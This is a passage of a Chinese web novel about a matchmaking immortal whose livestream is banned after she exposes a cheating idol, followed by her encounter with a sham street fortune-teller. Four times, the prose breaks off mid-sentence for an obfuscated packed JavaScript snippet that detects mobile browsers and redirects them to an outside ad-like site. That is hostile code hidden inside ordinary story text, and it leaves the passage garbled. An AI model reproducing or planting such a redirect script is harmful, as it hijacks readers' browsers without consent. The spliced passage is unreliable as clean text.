即便任柏承是顶级流量偶像,粉丝数量堪称庞大,在这会儿的直播间里,替他说话的也都被所有观众一齐围攻,压得一点也看不见了。 直播间里,一条闪亮亮的礼物特效飘出。 【[任柏承什么时候四]送出盛世焰火x1】 【任柏承什么时候四:给任柏承未来的坟头放个烟花,姐妹们,铲子走起来!】 【任柏承什么时候四:另外,那谁,既然你都认错了……希望你说到做到。】 【任柏承什么时候四:姐妹们,撤!转移战场!给任柏承的棺材添一把土去——】 满屏璀璨的光华中,闪亮亮的ID发表了几条言论,而后毫不留情地扬长而去。 莺芝注意到,在线人数一瞬间下滑了百千余,但很快,缺失的那点数量又被更多闻风而来的人给补上。 【骂谁二次元呢:……来也匆匆去也匆匆,从头到尾目的明确,这就是粉圈的大姐头吗……】 【骂谁二次元呢:家人们,谁知道什么时候死姐的x博昵称是什么,我要去关注一下,感觉她和山林不语这对,针锋相对嘴硬心软宿敌但知音,好磕!】 【一只浪迹瓜田的猹:……二次元姐你也适可而止吧(/大汗)我又忍不住要刻板印象了】 【给予她温油ma:什么磕?】 【晚间生物:感觉看了一场大戏……话说回来,这件事怎么收尾?】 …… 崔梦语没有关注弹幕上那些乱七八糟的言论,说完自己临时想出来的“惩罚”后,她似乎也松了口气。 虽然那以为着她接下来的生活要经历很大的改变和考验,但无论如何,在今天这番像过山车一样的体验里,漂浮不定的一颗心总算有了归处。 大落小起,也算安定。 她看向莺芝: “……我的缘,这算是断掉了吗?” 莺芝手指微动,探查了一下,而后微笑道:“断了——你想听听你的正缘在何处吗?我可以为你测算一下,算是圆满这次的‘祈愿’。” 崔梦语微微一怔,旋即轻轻摇了摇头:“……不用了。我应该,不会想要‘缘’了。” 莺芝笑容一僵:“……” 啊? 完美无缺的表情渐渐有了皲裂的趋势,她开口,压着些小小的不可置信:“……为什么?” 像是补救似地,她语气都有些不甚明显的急促,“一段孽缘不代表段段都是孽缘,过去是悲伤的,但明天也许是美好的呢?人生在世,总要有些美好的情感和期待,不是吗?” 崔梦语把头发别到而后,仍然摇头:“一段不该有的‘缘’,就耗费了我这么多年的时间和精力,而之后,我还要为它带来的负面情绪和影响付出更多的时间和精力…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189087|165519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太累了,仅仅是维持正常的生活,我就已经很累了,承担不起更多这样的经历了。” 莺芝:“……” 不是,怎么,什么,啊? 那她这一“卦”算的,意义在哪? 非但没有帮助她找到正缘,甚至让她直接丧失了对“真情”的期待? ……就,纯白忙活、甚至还砸了一桩未来的业绩进去? 莺芝一点也不怀疑,摆出这样态度的崔梦语,以后要是去到寺庙……绝对也是给“暴富发财”“身体健康”“事业有成”投木牌,看都不会看“真爱降临”一眼的人群之一! 【履行摸鱼职责:哈哈哈哈哈哈哈哈哈为什么啊我好像在小莺姐姐脸上看到了怀疑人生啊】 【晚间生物:我又看了一眼直播间标题:职业月老。小莺月老这是直接砍红线,送人出家啊。】 【一只浪迹瓜田的猹:你们不说我都忘了这是个月老直播间,还以为是爆料直播间】 【你到底说不说:什么,这里原来是拉媒的?!】 …… 许许多多从一开始待到现在的观众们的“哈哈哈”中,崔梦语沉默下来,似乎思考着什么。 片刻后,她开了口,语气诚恳。 “谢谢你的这一卦,真的很感谢。” 莺芝有些疲惫地摆了摆手:“……不必。” 崔梦语似乎也察觉到了她的态度不大一样,想了想,又道:“呃……虽然说了是免费,但是确实帮了我很大的忙,我也想做点什么回报。给你的账号主页打赏,可以吗?” 莺芝又摆了摆手,维持着已经僵硬的笑容,叹息道:“如果真的想做点什么……那就等有空时,去月老庙姻缘庙红线娘娘庙等任意之一,奉一些香火吧。” 虽然她不想祈愿,不想要姻缘了,但上几注香,添点香火……聊胜于无吧。 崔梦语点头:“好的,我会的。” 话到此处,关于她的这一卦也算是正式告了一个段落,没有再多说什么,她就此下了麦。 直播间里,调整好情绪的莺芝,正准备再次进入工作状态,瞥见了几条夹在许多弹幕中的消息。 因为是相当有印象的ID,她一眼便看清了消息内容。 【我真没有QAQ:去庙里,也算还愿,很合理,我更加相信主播是相关行业的专业人员了。】 【我真没有QAQ:但是,我有一个问题。】 【我真没有QAQ:没记错的话,正缘在玄学命学这边的意思是,命中注定的缘分,上天赐予的婚姻对象,天定之缘。】 【我真没有QAQ:但是,任柏承都这样了,他的老婆,跟他还是“正缘”?这件事爆出来,他们不会离婚吗?】 看到这一段,莺芝正了正神色,把弹幕内容念出,而后做出了回应。 “不会。” 刚刚那个男人的姻缘线状况还在脑中,这问题基本不需要回忆便能应答,她声音如常,专业有素:“他和他的妻,会走到白头。” 他的姻缘线是这么显示的。 此言一出,就如同在冰水中投入了一颗火热的炸弹,原本随着崔梦语下麦、已经消停了许多的弹幕区,顿时又一次沸腾了。 【履行摸鱼职责:啊???啥??】 【骂谁二次元呢:哈?纳尼??我听到了什么?是我听错了吗?】 【晚间生物:……啊,真的假的。】 【你到底说不说:我刚去看了一眼,他出轨的事在网上已经闹开了,他老婆也肯定能知道,但是,但是但是但是,这都不离婚??】 【我真没有QAQ:我信。虽然有点不科学,但既然是玄学的结果,就有一定的道理。】 【一只浪迹瓜田的猹:快看x博,任柏承工作室那边站出来给正式的回应了!!】 【一只浪迹瓜田的猹:[链接]】 8. 第 8 章 莺芝对现下凡间的“网络”并不如何熟悉,仅有的一知半解还是来源于下午时文隽寥寥的介绍,所以根本不知道那位观众发来的一长串奇怪字符是什么意思。 不过就现在的情况而言,也不用她去了解,直播间观众们紧随而来的讨论,就足够让她把事情拼凑出一个大概。 【看完回来了,我只想说,原来世界上真的有脸皮这么厚的人啊】 【妈妈呀任柏承他们团队还真敢说啊,他自己电话都打过来了竟然还“侵害名誉权”,果然娱乐圈这些人都是睁着眼说瞎话的行家】 【律师函警告了哈哈哈,要不是我对法律行业有所涉猎都也要被唬住了,下次麻烦直接发立案通告好吗】 【“虚构事实,造谣艺人”,我就没想明白,虚构什么了,难道是别人按着他脑袋让他说那些话的吗我请问呢】 【警告归警告扯谎归扯谎,他们爱咋咋,但这个直播间,我的新电子榨菜,要是没了我会恨他们一辈子的!!】 【月老小姐姐别怕,这种事波及不到你的,他们要是私下里威胁你,你可以找我,等会儿我私你一个联系方式,放心我是专业的,专门解决类似的事件】 …… 也就是说,即便做过的事被大众所知晓,任天博本人及相关人员,依旧没有任何悔过之心。 他们的应对方式是:发表声明,警告涉及这件事的“主播”和“爆料人”,并宣称这是污蔑。 莺芝心中了悟,但并没有多意外。 她好歹活过许多年,见过许多人和事,这种完全人并不是没见过,只不过是“利己”而已——她对自己被波及被“警告”并没有任何不满。 究其根本,这在她看来,只不过是来自凡人的小打小闹而已,她是仙,本就是超脱于凡尘之外的,不该与凡人有什么计较。 但…… 视线落在“这个直播间”“要是没了”上,莺芝不着痕迹地拧起了眉。 ……直播间没了,是什么意思? 那什么“律师函警告”,还能对她的直播间造成什么影响吗? 不等她问出疑惑,手机屏幕突地发生了变化。 ——完全变成一片黑的画面里,一行字安静停留。 【您的直播间因涉嫌违反直播规则被关闭,请注意规范自身行为】 莺芝:“……” 直播间突然黑掉,蹲守此处的观众反应更是如出一辙。 “???” 满屏的问号中,莺芝沉默着关掉了直播间。 她打开后台闪烁着红点的消息框。 【您的直播间因等,多次被人举报,平台特予以24小时封禁】 【请于直播中规范自身行为,严格遵守直播规则】 【多次违规处罚会增加,请谨慎对待】 “……什么东西啊!!”红线小人抱着莺芝的手指看完这些字,声音都拔高了许多,“我们怎么就违规了,什么人举报我们,凭什么封禁我们啊!” 莺芝表情也险些裂开。 她大概能猜出,这所谓“多人举报”的“多人”都是谁,无外乎是喜爱任天博的人们,以及任天博的那一方工作人员们。 ……可,这些凡人怎么回事? 骂归骂,警告归警告,怎么还带砸人饭碗毁人工作的? 就算是天庭……那互看不顺眼的雷电明光殿和日曜仙殿,天天找上级递投诉信,上边也不会停了他们的工作啊? 毁人工作,天打雷劈啊! 红线小人也明白了过来,骂骂咧咧原地来回踱步了半晌,才用红豆小眼睛看向莺芝:“月仙大人,我们该怎么办啊?” “二十四小时……是十二个时辰吧。”莺芝从荷包中拿出时玉——她还没养成看手机辨认时间的习惯。 “还有很多时间……现在我们相当于是被关了禁闭,应该什么也做不了了。” 红线小人欲哭无泪:“那我们接下来要做什么?” 莺芝捏了捏鼻梁,也有点无奈:“只能等这个禁闭的时间过去了。” 她万万想不到,来到凡间的第一次尝试,竟然是以这种方式结束的。 明明还有仙力,还能进行至少两次的姻缘“卜算”,结果就这么愣生生地被迫停下了。 “但,也还好是现在就发生了这种事……”她梳理着思绪,“问题早一些暴露,就能早一些做好规避的准备,避免以后再次被同样的问题为难。现在,我们刚开始接触直播,就发现了会被封禁,总比之后进行重要直播时被突然中止要好。我们可以从现在就未雨绸缪。” “不愧是您,果然眼光长远!”红线小人眼巴巴,“我们要怎么规避?” 莺芝眨眨眼:“好问题,你问到我了。我不知道。” 红线小人:“……” 莺芝面不改色:“没关系,作为天庭一员,要懂得和其他神仙处好关系。而作为一殿主事,更要懂得遇到自己不懂的事时及时求助——” “您是说,那位送子娘娘殿的仙君?” “是啊。” 莺芝坦荡点头,找出分开时留下的联系方式,操作生疏地拨了电话过去。 大家都是同事,困难时彼此相帮一下,很正常的嘛……都是能活不知道多少年的老东西,谁还没个遇到困难的时候,今天你帮我明天我帮你,互有往来才是常态嘛。 有节奏的快板乐声响过几息,而后中断。 电话那头的男声带着些许的困倦:“……喂?” “文隽兄弟,我有事想问你!”莺芝开门见山,“……你在休息吗?” “啊……、啊?”疑惑声中,黏连的哈欠突然一顿,远了瞬息,似乎是手机被拿离了耳畔,而后,呼吸又一次接近,文隽声音清晰了许多,“……是莺芝仙子啊。叫我文隽就行了……有什么事要问?” 莺芝看了一眼时玉,有些疑惑:“这才戌时,你就已经睡了吗?” 本质上来说,神仙是不需要睡觉的,可以运转灵力仙力调息回复精力。 但对于绝大多数神仙来说——我都成神仙了,还不能享受一下生活? 所以在天庭,大家基本都是该吃吃该喝喝该睡睡。 可,那也大都是亥时过后才睡觉的啊。 文隽的声音幽幽传来:“我特地请假到凡间来,就是来休息的……这是你要问的问题吗,仙子?” 似有若无的幽怨中,莺芝摸了摸鼻子,觉得有点对不住对方——明明是来休假的,但几乎被她缠了一整天。 “打扰你休息非常抱歉,帮人帮到底送佛送到西,你是个好人……实在麻烦你了。” 她决定等改日回天庭再做补偿,现在嘛,先略过这茬,直接入正题: “是这样的,我直播间被封禁了,这要怎么解决?是一旦被举报便会被封禁吗,有没有什么规避的方法?” 文隽一顿:“……你做了什么?” “我什么也没做。”莺芝如实答道,“我给一位观众‘算了一卦’,断掉了一桩孽缘。” “‘算卦’……仙子还真是入乡随俗啊。我想想,封禁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189088|165519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话,你是不是宣扬让大家都去庙中参拜了?或者,传播姻缘殿的‘信仰’了?” 在直播中常见的被警告封禁的理由,什么衣着不端语言低俗攻击他人等,文隽完全没有往那边想过。 同为神仙,他和莺芝算是有一定的,心照不宣的默契的,那是属于神仙“约定俗成”的规矩。 他能想到的,也就是这位看起来是工作狂的仙子,是不是把热情发挥得太过了—— 宣扬宗教信仰,也是很容易触及到直播红线的一条。 莺芝:“没有啊。” 她也没怎么宣传吧? 整理了一下思路,她道:“不过,我有看到他们说什么‘律师函警告’。” 文隽:“?” “怎么会扯到律师函……不是刚开始直播吗。” 他们两个人分开到现在也没有两三个小时吧? 难道他一觉睡过去了好几天? 面对震惊之意都快飞出来了的同僚,莺芝有那么一点点的尴尬,但也就一点点:“是的,确实是刚开始直播。” 这不就是纯属被迁怒了么,她本身就什么也没做啊。 他们要想帮任天博,要做的事明显还有很多吧? 不都比为难她这一下要重要么。 “……算了。”意识到这么问是问不出什么的,文隽叹了口气,认命离开被窝,“我们见一面吧。地址我发……就你那里的楼下,我等会儿到。” 莺芝没有意见:“好的。” 电话挂断,她站起身,四下看了看,发现也没什么好收拾的,便只拿起手机,离开了房间。 现在的临时落脚处,她并不清楚在这个城市具体算是什么位置——也是托了文隽这位对凡间很熟悉了的同僚帮忙才临时租下的,不过在筛选时应了她的要求,这个居民区距离白天去过的那家庙并不算远。 单元的门洞外,是一条不怎么平坦的小路。沿小路一直走,很快就能看到小区大门。 不管是道路还是基本形同虚设的大门,都昭示着小区的年代已经很久远,但相应的,周围的环境也很是热闹。 附近的路都不算宽,也没什么汽车经过,来往的多是骑电车或步行的人,道路两侧,形形色色的小摊紧密排布,有的烟火熏天,有的酒意弥散,还有些摊位上,老板就地支了个桌子,上边摆放着五颜六色小饰品、或各式各样新旧书籍。 混杂着各种气味的空气对于一个待惯了仙宫金阙、浸久了仙云灵雾的神仙来说,并不算特别好闻,地面也显得过于不洁,已经化作耳饰的红线小人不舒服地晃了晃自己的身体,换来莺芝一声笑。 “你又没有鼻子,嫌弃什么?” 她倒是并没有太在意周围的环境,还颇觉新奇地感受着此时此地,和白天庙宇中完全不同的“烟火气”。 依照约定,莺芝在路边寻了地方落脚,等待着文隽的到来。 “嘿,姑娘!” 一声压着嗓子的呼唤,成功把莺芝的注意力吸引。 她循声回头,在身后几步靠墙的位置处,看见了一个穿着灰色马褂,坐在低矮马扎上的中年男人。 那男人头发稀疏,鼻梁上架着副圆片墨镜,身前的地面上摊开铺着一张塑料布,上头画着乾坤八卦等内容,还写着些堆砌起来的古体汉字。 看到莺芝回头,中年男人朝莺芝一伸手,指了指摊位前另一张空着的小马扎,做了个邀请的动作,一派高人模样。 “我看你印堂发黑,怕是要有血光之灾啊——要不要来算上一卦?” 9. 第 9 章 “印堂发黑?” 莺芝一愣,下意识就要调动起仙力,查探自身的情况。 不过下一秒她就反应了过来,生生止住了动作。 不能在凡人面前动用仙力,这是下凡后最基础的规矩。 但是印堂发黑……她怎么会印堂发黑。 莺芝狐疑地打量了男人两眼,视线不受控制地落在对方有点稀疏的发顶,又因不礼貌而生硬转开。 中年男人笑道:“姑娘在等男朋友吗?那闲着没事,不如就坐下来聊聊?” “是在等人不假……” 莺芝点点头,拢了一下裙摆,从善如流在马扎上坐了下来,“你会观……、算卦?” 她想听听看,凡间这些“卦象师”是怎么个路数。 “那当然啊!”眼瞧着她真的坐下,中年男人腰板似乎坐直了一些。 他不知道从哪摸出一柄折扇,捏着合拢的扇骨煞有介事地晃了晃。 “不瞒你说,我师父是行业内很有名的老道长,精通算卦。我嘛,虽然没有学到他的全部,也有了十之八九,给你算上一卦,解解忧——那还是很容易的。”最后一个字他拖得有点长,音也变调成了“滴”,听起来倒真像是小菜一碟成竹在胸信手拈来的味道。 莺芝微微颔首,对此很感兴趣地咨询道:“都会哪些类型的?手相,测字,面相,抽签……还是其他的什么?” “看来你也是相当了解天机术数的。” 中年男人笑了笑,指着他身前地面上的那张布,一一点在那些在莺芝看来完全不知所云的字和图画,“喏,那得看你想算什么了。财运,事业,感情,身体……不同的卦当然适合不同的算法——你想算什么?” ……这就了解了? 耳垂上的红绳耳饰无风自动,莺芝低头,有些疑惑地仔仔细细看过那些字和图案。 “不是你说我印堂发黑,要有血光之灾,所以要给我算一卦的吗?怎么又问我算什么。” “……” 中年男人扶了扶眼镜,似乎从滑落的缝隙里打量了几下莺芝。 随后,他飞快地左右看了看,压低声音:“做我们这行呢,其实就是窥探天机,是要折寿的,所以有些话不能说得太明白……得你自己说。” 耳饰又开始晃动,被莺芝不动声色地捏了一把,总算才安静下来。 若真是精通推算,那确实是窥探天机不假。但所谓的“算卦”,后果完全不是什么所谓的“折寿”就能笼统概括的——身为凡人,窥探探他人命运,是要背负因果的。 而这个因果,或许是死生大灾,又或许只是出门会摔一跤,是根据所窥探的命运而定。 心下了悟这人看来是真的是在糊弄她,但不知道是单纯地看她不像是懂行的,还是因为本身他就啥也不会,莺芝没有当即拆台,只是顺着对方的话说了下去: “——原来是这样啊。” “就是这样。”中年男人啪地打开折扇,笑着摇了起来,“所以,想知道你的血光之灾是怎么回事,要算什么呢?” “嗯……”莺芝沉吟了片刻,“……算姻缘吧。” “对,血光之灾,确实是要算——……?” 话音一顿,中年男人像是被突然掐了一把嗓的公鸡,下文生生止住。他又坐直了一些,从眼镜缝里瞥了一眼这个穿着打扮跟周围格格不入的女生。 生面孔,讲究人—— “能算吗?”莺芝笑容和煦。 再三确认后,男人老神在在点头,拇指跟食指并在一起捻了捻:“能啊。不过先说好,算姻缘的话,咱们这个卦钱可是要多点的。” 莺芝点点头。 姻缘卦比别的要贵……虽然不知道合不合理,但她这位姻缘仙听了这个确实很高兴就是了。 见她没什么意见,男人不知道又扇了两下扇子,合上:“那,伸手吧。” “姻缘原来要看手相啊。” 莺芝依言伸出手臂,把广袖拢起来,露出完整的手,掌心向上递了出去。 “没错。” 中年男人赞许地点头,接着探头过来,隔空在她手上端详了一会儿。 他用合起折扇敲敲点点着自己手心,时而皱眉沉思,时而若有所感,最终,他冲莺芝一点头,坐正了身体。 “这卦你算是算对了——结婚了吗?” 莺芝眨眼:“你算不出来吗?” “——哈哈,怎么会算不出来呢,当然看得出了,这都在你手相里呢。” 男人笑了两声,又打开了折扇,“从手相上看呢,你应该还没有结婚,但是已经有了心仪的对象,并且两人关系目前还不错,正在交往中。” “嗯、你在等的,应该就是他,对不对?但是,哎……真不巧啊,姑娘。” 莺芝思考了片刻,回忆起从刚刚到现在两人所有的交流,心中划过一丝了然。 她没有否认或认同,只是讶异道:“怎么不巧?” 中年男人又左右飞快看了看,像在警惕有没有人在偷听他们的对话,然后,他声音变得严肃,低低地开口:“你的血光之灾……就来源于这个对象!” “啊,这样?”莺芝震惊地眨了眨眼。 “我知道你很不可置信,但是姑娘,节哀啊,卦象就是这么说的——” 折扇快速地摆动着,中年男人闭着眼,声音低沉:“他……嘶,从手相上看,你的姻缘很是曲折啊。他,不是什么好人,等之后你们结了婚,夫妻吵起架来,他会摔东西,会打人——姑娘,这种人,不管是谈恋爱还是结婚,都要三思啊!” 语到最后,已经变得沉重,仿佛深有同感地在叹息。 闲来无事,莺芝把这男人嘴里的“你等待的人”和她确实在等的人稍微联系了一下,发现完全是南辕北辙。 “不能吧?我觉得他脾气挺好的啊。” 中年男人不赞同:“不管平时表现的怎么样,内里都是个脾气暴躁的。这种人生起气来最可怕了,谨慎点没坏处,可千万别恋爱脑啊!” 话音落下,半晌没有等到回应,男人微微抬眼,觑向对面的女生,却正撞入一双黝黑的眸子。 莺芝安静地看着他。 男人手里折扇一顿,旋即摇得更快了。 “莺——……这是在?” 文隽在凡间的住所离莺芝这地方不算太远,不到十分钟路程—— 他们这些做神仙的,到凡间来,选择落脚处时不自觉地就会靠庙近一点,或许也是一种本能。 刚一踏入这条街,尚且隔着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189089|165519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数十米远时,文隽就已经看见了莺芝的身影,夜色里,那一袭粉色的衣裙格外醒目。 只是等到他走近一点,却被眼前的景象给搞得一头雾水。 一个算卦的摊位,她坐在这里做什么。 文隽脚步迟疑:“你这是……在算卦?” 听到熟悉的声音,莺芝侧转了脑袋过来,仰头望向文隽,指了指摊位后的中年男人:“嗯,他给我算了一卦。” 一个神仙,找凡人算什么卦…… 默了默,察觉到她似乎想继续说,文隽配合地问了下去。 “……算出什么了?” 先不说他是不是真的会推算,就算真的会,也没有能够看出神仙命格的凡人啊。 莺芝表情沉重:“他说你很暴躁,会会打我。” 文隽:“……” 文隽:“?” 这都什么跟什么? 他满头雾水,看了看中年男人,又用眼神询问莺芝:……仙子,你到底在跟这骗子聊了些什么? “这……”中年男人和文隽短暂对了个眼神,被那双眼睛一看,颇有点不自在。 他这下算是懂为什么这女生说“不能吧”了,这男的,看起来文质彬彬的,完全就是个文文弱弱的大学生,还是学习很好的那种。 而且总感觉没什么精神,自己一拳估计能把他打吐血。 检讨自己是不是编太过,中年男人默默移开视线,重新看向莺芝。 在两位男性瞩目中,莺芝摇了摇头,站了起来。 “虽然你是骗我的,但有些事我觉得还是要告诉你。” “第一,他……” 她偏了偏头,以示意指代的是身边的文隽,“——是我的同事,不是我的正缘,如果你真的会观缘,应该能看到我的缘线非常干净。” 文隽:? 谁跟谁?什么缘? ……难道这骗子刚刚说他俩是一对? 中年男子也满头问号。 缘线,观缘——这什么奇奇怪怪的说法。 难道这女孩是玄学爱好者,这些是他不知道的姻缘方面的专业术语? 合着这次是踢到行家头上了? 莺芝没有理会他们的困惑,她自顾自说着,解下腰间挂着的荷包。 从荷包里拿出一根红色的绳子,莺芝把它放到了中年男人面前的塑料布上。 “第二件事——那位十二年前和你分离的女性,三日后会出现在此地向东五里处的路口。” 意识到她说了什么,中年男人浑身都僵住。 他不可置信地抬眼,直愣愣看向莺芝。 “你至今都还是孤身一人,我想,应该就是难以忘记她吧?如果你不想错过她的话,就抓住机会,或许有几率碰上。错过了这次,下次的擦肩,是十年后。” 对他的惊讶并不在意,莺芝把荷包重新收好系回,随手理了理裙摆,指向那根红绳,温声道,“去的时候可以带上它,能够助你扩大相逢的机遇——嗯…算是抵你给我算卦的卦钱吧。” 说罢,她招呼文隽:“我们走吧。” 直到两人的身影消失,男人才从愕然中回过神来。 他怔怔看向面前摊位上那根孤零零放置着的红绳,手指缓缓收紧。 10. 第 10 章 “我想明白了,月仙大人!那个人他……——有人来了!” 某餐厅,位于角落的卡座中,粉裙女生的手指上勾缠着一根红绳,像在变什么魔术般,红绳的一端扬起,仿佛肢体一般摇晃着。 似乎感应到什么,它突然消声,整个绳也软趴趴地倒了下去。 “——这里的菜还不错,不知道你口味偏好,随便买了一些。”文隽把托盘放到桌上,依次把其上的餐碗取下,然后才入座。 他把餐具递放到莺芝面前,视线掠过那根红线,见怪不怪地随口问道:“想明白什么了?” 看到来人是他,趴在莺芝手指上的红线才慢吞吞又昂起了头。 它先是望了一眼莺芝,见自家上司没有阻拦的意思,才接茬道:“我刚刚一直在想,刚刚那个骗子到底为什么知道月仙大人在等人,又为什么敢夸口编排月仙大人的‘男友’,就不怕万一说错了露馅吗,终于想明白了!” 莺芝把它丢到手边的桌上,摆弄起餐具和凡间的食物。 没有让话落在地上,文隽捏着筷子拌了一下碗里的面,很给面子地接了一句:“什么?” “——他跟月仙大人搭话的第一句就问了月仙大人是不是在等男朋友,语气很随便,就像平时我们打招呼,月仙大人当时也没在意,所以就没否认,这就让他知道了‘有男友’‘在等人’两个信息!”红线小人才不管是谁接了话,反正都能往下说。 它分享欲极强,话匣子一旦打开,就滔滔不绝了起来:“到了后来,给月仙大人‘看手相’,我猜他是从月仙大人的手部肌肤很细腻,完全不像做家务的——唔…在近几百年的凡间,婚姻中,许多不靠谱的凡间男性不都会把家务全都推给女性么?然后,月仙大人在他那里的印象就成了‘非单身,有男友,还没结婚,在等男友’的状态,也就有了之后的编造!” “我说的对吗?”明明是两颗红豆的眼睛,愣是把“期盼”给表现了出来。 莺芝觑了它一眼,实话实说道:“这么简单的问题,你花了这么多时间去思考。” “……月仙大人!!” 文隽忍俊不禁。 他吃了一口面,咀嚼咽下后,才问起这次碰面的主题:“被封禁是怎么回事?” 说起正事,莺芝也正了神色。 她把筷子放下,调出那条后台提醒,把手机放到文隽的碗旁。 文隽偏头看了一眼:“……多人举报,你的直播到底——你介意把今晚的事从头说一下吗?” “当然不介意。” 莺芝满口应下,从直播间开启到崔梦语发送个人的资料给她,再到最后的被封禁,略过了观众们的讨论,把直播的过程完整地讲述了一遍。 等她讲完,文隽忍不住摇了摇头。 他有点无奈地笑了一声:“那我知道了。这……严格来说,也不算是什么大事,而且,对于你想做的事,它说不定还会变成一件好事。” 该说不愧是神仙,果然是有点气运在身上的,刚开始做直播,结果第一件就撞上了涉及公众人物的事。 虽然短期看,直播间确实是被封了,但长久来说,这对一个刚起步的主播来说,简直可以称得上只有好处没有坏处。 不等莺芝追问,他便向她解释道:“这位女性的‘心上人’,也就是你说的那个任天博,他在当今凡间应该是具有一定知名度的,拥有许多追随者——他们举报你的理由,或许是‘提及公众人物姓名’或‘引战造谣’,前者是拥有众多粉丝的群体经常使用的招数,后者则是界定模糊、故而很容易被笼统盖过,一起处理。” “那为什么还是好事?”莺芝有些疑惑,“容易被处理,那日后我每次直播,他们都来举报的话,不是很容易被封禁吗?” 文隽喝了一口茶饮,拿出自己的手机拨弄了两下:“对于任天博来说,喜爱他的人多,讨厌他的人就也不会少。无论是哪个方面,他在当今都是拥有巨大的关注度的,现在他和粉丝发展关系,婚姻内出轨,种种事件一经爆出,都会引起很大的反响——” 他把手机放到桌面,调转了个,推给莺芝: “这是凡间许多人都在用的一个软件,你看,现在任天博的相关内容已经占据了搜索榜的前几,后边还挂着‘爆’的标志,证明这件事引起的轰动还在蔓延中。人们在关注到这件事时,听到只言片语后,无可避免地会想要知道全情。” 在莺芝若有所思的表情中,文隽弯了弯眼睛:“看来你也想到了。” “当人们关注起这件事,想要知道事情的全貌,就会看到……我直播的内容?”莺芝缓缓接道,“也就是那些名字中带有任天博和诅咒侮辱意味的人所说的……被‘发网上了’?” “是的。”文隽颔首,“讨厌任天博的人,会把你的直播内容进行二次加工,公开发布,通过他们的渠道,让更多的人关注到这件事。而他们所关注的,这件事的源头,无论是那位崔小姐的表态,还是那通电话,都是来自于你的直播间。” 莺芝恍然,语气也越来越笃定:“所以,这些‘关注度’,也能‘反哺’到我这里一部分?” 更多的人能够关注到她这位新人主播,因为各种各样的原因,对她的直播生出兴趣,从而转化为下一次直播的,现成的观众。 文隽赞同地点点头,继续说道:“而当你的价值拔高,能给直播平台创造的收益增多,他们对待针对你直播间的举报也会采取特别关注的模式,不会再和大多数无人关注的新人直播间一样,随意地批量化处理。” “至于‘律师函警告’,这个就更不用在意了。既然他真的做过那些事,他本身的底气就不会太足,没有真正闹上法庭——也就是衙门、这里裁决纠纷的部门,的勇气。” 换成其他人,对这件事最大的关注绝对会是“算卦真的能算出任柏承的事吗”“任柏承真的做过吗”,而对文隽来说,这种怀疑从根本上就不会存在。 莺芝说那人做过,那就是做过。 她可是专司姻缘的仙,又是这么个……连认识刚一天的他都能看出的认真性子,这种本职内的事是不可能弄错的。 说到最后,文隽放下了餐具,抽出张纸巾擦了擦嘴。 “所以,等到明天,你再开始直播的时候,可要做好心理准备了——” 他眉角轻微地跳了一下,仿佛对想象出来的画面很是头疼,“……应该会来很多很多很多的人。” 莺芝这下是完全明白了。 她眸中不由地带上了些喜意:“真是太好了。” 这不就是事半功倍! 来看直播的人越多,她就越有可能“推广”姻缘殿的业务,帮助更多的人明定缘分,牵上红线。 这波刚定了一桩缘就被突然断掉的直播,竟然还让她的直播间被更多更多的人看到,真是大运啊。 文隽看着她干劲满满的状态,喉头动了动,想说点什么,终究还是没能说出口。 他默默移开视线,幽幽叹气。 一顿饭吃完,莺芝饥饿问题解决,疑虑也尽数消解,可谓是心情舒畅。 反观文隽,不知道是不是饭吃撑了,显得更没精神了。 结完账离开餐厅,莺芝站定,不大好意思地对落后一步的文隽道:“今天真的是麻烦你了……” 文隽揉了一下坐僵了的肩膀,无奈叹了一声:“都已经到现在了,仙子还说什么麻烦不麻烦的。” 莺芝又咳一声:“放心,你的仗义相助我都记得。等明天直播,我会帮你在直播间宣传一……” “——不不不,不必,万万不要。” 文隽连忙摆手,竟是突然精神了几分,“直播间想要火,要义之一便是专一,在某个主题深入扎根,这样才会被平台推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189090|165519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送,如果你在姻缘相关又推了其他的,对你的直播间不利。” “这样么?”莺芝若有所思,“仔细想想,也有道理,凡事贵精不贵多……” 